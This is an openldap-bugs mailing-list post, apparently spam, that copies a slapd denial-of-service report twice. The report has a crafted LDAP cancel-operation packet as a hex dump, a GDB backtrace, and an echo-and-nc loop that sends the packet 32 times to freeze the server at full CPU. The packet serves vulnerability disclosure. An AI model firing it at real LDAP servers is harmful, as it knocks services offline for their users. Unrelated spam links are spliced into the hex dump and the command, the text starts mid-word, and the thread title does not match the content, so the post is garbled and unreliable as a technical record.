[Issue 8707] slapd: Add systemd service notification support - openldap-bugs

11 Sep 2021


      https://bugs.openldap.org/show_bug.cgi?id=8707
--- Comment #32 from Mehmet gelisin mehmetgelisin@aol.com ---
rocessing of a packet results in the command handling thread becomming stuck in
an infinite loop.
After sending http://www-look-4.com/   32 of theese slapd doesn't respond to
any new queries and consumes 100% cpu
Packet
    00000000: 3036 0200 7730 300b 312e 332e 362e 312e  06..w00.1.3.6.1.
    00000010: 312e 3881 1030 0130 0030 3030 http://www.compilatori.com/  3030
3030  1.8..0.0.0000000
    00000020: 3030 3030 3030 0030 3030 3030 3030 3030  000000.000000000
    00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000040: 30                                       0
http://www.wearelondonmade.com/
GDB backtrace
    (gdb) thread 3
    [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
    #0  0x00007ffff7eb489b in sched_yield () http://www.jopspeech.com/ 
        at ../sysdeps/unix/syscall-template.S:78
    78  ../sysdeps/unix/syscall-template.S: No such file or directory.
http://joerg.li/ 
    (gdb) bt
    #0  0x00007ffff7eb489b in sched_yield ()
        at ../sysdeps/unix/syscall-template.S:78
    #1  0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
http://connstr.net/
    #2  0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
        at cancel.c:143
    #3  0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
        at extended.c:225
    #4  0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
        at extended.c:175 http://embermanchester.uk/ 
    #5  0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0, 
        arg_v=0x7fff7c001160) at connection.c:1163
    #6  0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
        at connection.c:1314 http://www.slipstone.co.uk/ 
    #7  0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
        at tpool.c:1051
    #8  0x00007ffff7faa609 in start_thread (arg=<optimized out>)
        at pthread_create.c:477
    #9  0x00007ffff7ed1293 in clone () http://www.logoarts.co.uk/ 
        at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
    docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
    for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
http://www.acpirateradio.co.uk/  | timeout 1 nc localhost 1389 & done
rocessing of a packet results in the command handling thread becomming stuck in
an infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and
consumes 100% cpu
 https://waytowhatsnext.com/ 
Packet
    00000000: 3036 0200 7730 300b 312e 332e 362e 312e  06..w00.1.3.6.1.
    00000010: 312e 3881 1030 0130 0030 3030 3030 3030  1.8..0.0.0000000
    00000020: 3030 3030 3030 0030 3030 3030 3030 3030  000000.000000000
    00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000040: 30                                       0
GDB backtrace
    (gdb) thread 3
    [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
    #0  0x00007ffff7eb489b in sched_yield ()https://www.webb-dev.co.uk/ 
        at ../sysdeps/unix/syscall-template.S:78
    78  ../sysdeps/unix/syscall-template.S: No such file or directory.
    (gdb) bt
    #0  0x00007ffff7eb489b in sched_yield ()
        at ../sysdeps/unix/syscall-template.S:78
    #1  0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
    #2  0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized
out>)
        at cancel.c:143
    #3  0x00005555555b449a in fe_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
        at extended.c:225
    #4  0x00005555555b41c2 in do_extended (op=0x7fff7c001160,
rs=0x7fff8aad1a80)
        at extended.c:175 http://www.iu-bloomington.com/ 
    #5  0x0000555555583d09 in connection_operation
(ctx=ctx@entry=0x7fff8aad1ba0, 
        arg_v=0x7fff7c001160) at connection.c:1163
    #6  0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0,
argv=0xc)
        at connection.c:1314
    #7  0x0000555555671080 in ldap_int_thread_pool_wrapper
(xpool=0x555555799240)
        at tpool.c:1051
    #8  0x00007ffff7faa609 in start_thread (arg=<optimized out>)
        at pthread_create.c:477
    #9  0x00007ffff7ed1293 in clone ()
        at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Testing:
    docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
    for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30'
| timeout 1 nc localhost 1389 & done
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